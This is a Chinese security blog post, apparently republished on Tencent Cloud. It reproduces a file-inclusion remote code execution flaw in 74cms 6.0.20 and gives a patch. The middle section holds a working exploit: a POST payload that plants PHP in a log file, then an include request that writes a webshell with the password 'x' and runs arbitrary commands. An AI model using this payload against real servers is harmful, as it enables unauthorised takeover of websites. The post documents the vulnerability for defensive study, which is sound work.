前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >74cms 6.0.20版本文件包含漏洞复现

74cms 6.0.20版本文件包含漏洞复现

作者头像
乌鸦安全
发布2021-08-05 16:04:47
2K0
发布2021-08-05 16:04:47
举报
文章被收录于专栏:乌鸦安全乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。

01 漏洞描述

参考资料:

代码语言:javascript
复制
https://xz.aliyun.com/t/8021

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

下载地址:

代码语言:javascript
复制
http://www.74cms.com/download/index.html

注意:

  • 骑士cms不支持php7.x,复现php环境为php5.x即可
  • 版本低于6.0.48

本文复现版本:

74cms_Home_Setup_v6.0.20.zip

02 环境搭建

phpstudy2018

74cms_Home_Setup_v6.0.20.zip

注意:

php版本为5.x,暂不支持php7

具体的搭建流程可以参考互联网,因为很简单。

03 复现流程

  1. 访问地址:
代码语言:javascript
复制
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl
  1. 在安装的文件位置中已经发现了记录的错误参数,路径是
代码语言:javascript
复制
C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home
  1. 进行如下请求
代码语言:javascript
复制
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

此时去看日志信息,一句话菜刀已经记录在日志里

  1. 开始包含:
代码语言:javascript
复制
http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

在根目录下写入shell.php文件,内容为一句话木马,包含成功

在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x

代码语言:javascript
复制
http://10.211.55.9/74cms/shell.php

执行任意命令,发现执行成功

04 漏洞修复

  1. 在以下路径的169行进行修改
代码语言:javascript
复制
/Application/Common/Controller/BaseController.class.php

未修改前:

代码语言:javascript
复制
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        }
        return $this->fetch($tpl);

加入下面这行代码:

代码语言:javascript
复制
$view = new \Think\View;

        $tpl_file = $view->parseTemplate($tpl);

        if(!is_file($tpl_file)){

            return false;

        }

// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){
        foreach ($variable as $key => $value) {
            $this->assign($key,$value);
        } // fix 20210203
		$view = new \Think\View;
        $tpl_file = $view->parseTemplate($tpl);
        if(!is_file($tpl_file)){
            return false;
        }
        return $this->fetch($tpl);
    }
  1. 以下路径的文件:
代码语言:javascript
复制
/ThinkPHP/Library/Think/View.class.php
代码语言:javascript
复制
 View.class.php文件中106行fetch方法中修改

  // 将110行

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);

// 代码注释替换为

if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

05 修复验证

  1. 清空log文件中的内容
  1. 再次写入内容

写入失败,漏洞修复成功

06 小插曲

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档